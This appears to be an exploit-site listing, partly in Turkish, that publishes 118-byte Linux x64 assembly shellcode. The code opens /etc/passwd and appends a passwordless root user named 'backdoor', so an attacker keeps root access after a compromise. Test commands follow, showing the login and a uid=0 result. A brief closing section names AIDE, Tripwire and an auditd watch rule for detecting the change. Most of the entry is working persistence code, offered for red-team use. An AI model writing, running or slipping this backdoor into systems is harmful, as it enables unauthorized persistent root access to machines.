VULN REPORT
/
shellcode
/
ID: 254
Linux/x64 /etc/passwd Backdoor User Ekleme - 118 Bytes
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 1 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_254.txt
Modern Post-Exploit - Linux x64 - Persistence
Linux/x64 /etc/passwd Backdoor - 118 Bytes
Root yetkisi elde edildikten sonra /etc/passwd dosyasina parola gerektirmeyen yeni root kullanicisi ekleyen shellcode. Red team tatbikatlarinda kullanilan kalicilik tekniklerinden biridir.
x64 open/write/close Syscall Zinciri
; Eklenecek: backdoor::0:0:root:/root:/bin/bash
section .data
filename db '/etc/passwd',0
entry db 'backdoor::0:0:root:/root:/bin/bash',10,0
entry_len equ $ - entry - 1
section .text
global _start
_start:
lea rdi, [rel filename]
mov rsi, 0x401 ; O_WRONLY|O_APPEND
mov rdx, 0x1a4 ; 0644
mov rax, 2 ; sys_open
syscall
mov r9, rax
mov rdi, r9
lea rsi, [rel entry]
mov rdx, entry_len
mov rax, 1 ; sys_write
syscall
mov rdi, r9
mov rax, 3 ; close
syscall
xor rdi, rdi
mov rax, 60 ; exit
syscall
Test
tail -1 /etc/passwd
# backdoor::0:0:root:/root:/bin/bash
su backdoor
id
# uid=0(root)
TESPIT File Integrity
AIDE veya Tripwire ile /etc/passwd degisikligi tespit edilir. auditd: -w /etc/passwd -p wa
Entry Stats
Views
1
Downloads
0
Comments
0